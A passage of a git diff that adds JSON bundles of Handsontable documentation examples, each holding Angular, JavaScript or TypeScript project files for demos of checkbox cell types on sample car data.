\"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-checkbox-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n {\n car: 'Mercedes A 160',\n year: 2017,\n available: true,\n comesInBlack: 'yes',\n },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n {\n car: 'Audi A4 Avant',\n year: 2019,\n available: true,\n comesInBlack: 'no',\n },\n {\n car: 'Opel Astra',\n year: 2020,\n available: false,\n comesInBlack: 'yes',\n },\n {\n car: 'BMW 320i Coupe',\n year: 2021,\n available: false,\n comesInBlack: 'no',\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car model', 'Year of manufacture', 'Comes in black'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/checkbox-cell-type/angular/example2.ts","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example2","exampleTitle":"Checkbox template","docPermalink":"/checkbox-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example3.ts.json new file mode 100644 index 00000000..4b70652a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Checkbox cell type · Checkbox labels · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-checkbox-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n {\n car: 'Mercedes A 160',\n year: 2017,\n available: true,\n comesInBlack: 'yes',\n },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n {\n car: 'Audi A4 Avant',\n year: 2019,\n available: true,\n comesInBlack: 'no',\n },\n {\n car: 'Opel Astra',\n year: 2020,\n available: false,\n comesInBlack: 'yes',\n },\n {\n car: 'BMW 320i Coupe',\n year: 2021,\n available: false,\n comesInBlack: 'no',\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car model', 'Accepted', 'Comes in black'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n },\n {\n data: 'available',\n type: 'checkbox',\n label: {\n position: 'after',\n property: 'car', // Read value from row object\n },\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n label: {\n position: 'before',\n value: 'In black? ',\n },\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/checkbox-cell-type/angular/example3.ts","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example3","exampleTitle":"Checkbox labels","docPermalink":"/checkbox-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example4.ts.json new file mode 100644 index 00000000..e2930aa4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Checkbox cell type · Label value as a function · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-checkbox-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n { car: 'Mercedes A 160', year: 2017, comesInBlack: 'yes' },\n { car: 'Citroen C4 Coupe', year: 2018, comesInBlack: 'yes' },\n { car: 'Audi A4 Avant', year: 2019, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, comesInBlack: 'no' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Car model', 'Year', 'Comes in black'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n label: {\n position: 'after',\n value: (function(\n row: number,\n column: number,\n prop: string | number,\n value: unknown\n ) {\n if (value === 'yes') {\n return 'In black';\n } else {\n return 'Not in black';\n }\n }) as unknown as () => string,\n },\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/checkbox-cell-type/angular/example4.ts","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example4","exampleTitle":"Label value as a function","docPermalink":"/checkbox-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..23a7b4ff --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Checkbox cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n { car: 'Mercedes A 160', year: 2017, available: true, comesInBlack: 'yes' },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n { car: 'Audi A4 Avant', year: 2019, available: true, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, available: false, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, available: false, comesInBlack: 'no' },\n ],\n colHeaders: ['Car model', 'Year of manufacture', 'Available'],\n height: 'auto',\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'available',\n type: 'checkbox',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/checkbox-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/checkbox-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..3b3a0262 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Checkbox cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n { car: 'Mercedes A 160', year: 2017, available: true, comesInBlack: 'yes' },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n { car: 'Audi A4 Avant', year: 2019, available: true, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, available: false, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, available: false, comesInBlack: 'no' },\n ],\n colHeaders: ['Car model', 'Year of manufacture', 'Available'],\n height: 'auto',\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'available',\n type: 'checkbox',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/checkbox-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/checkbox-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example2.js.json new file mode 100644 index 00000000..016c7db2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Checkbox cell type · Checkbox template · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n { car: 'Mercedes A 160', year: 2017, available: true, comesInBlack: 'yes' },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n { car: 'Audi A4 Avant', year: 2019, available: true, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, available: false, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, available: false, comesInBlack: 'no' },\n ],\n colHeaders: ['Car model', 'Year of manufacture', 'Comes in black'],\n height: 'auto',\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/checkbox-cell-type/javascript/example2.js","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example2","exampleTitle":"Checkbox template","docPermalink":"/checkbox-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example2.ts.json new file mode 100644 index 00000000..7dcff084 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Checkbox cell type · Checkbox template · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n { car: 'Mercedes A 160', year: 2017, available: true, comesInBlack: 'yes' },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n { car: 'Audi A4 Avant', year: 2019, available: true, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, available: false, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, available: false, comesInBlack: 'no' },\n ],\n colHeaders: ['Car model', 'Year of manufacture', 'Comes in black'],\n height: 'auto',\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n type: 'numeric',\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/checkbox-cell-type/javascript/example2.ts","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example2","exampleTitle":"Checkbox template","docPermalink":"/checkbox-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example3.js.json new file mode 100644 index 00000000..7c30e6cb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Checkbox cell type · Checkbox labels · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n 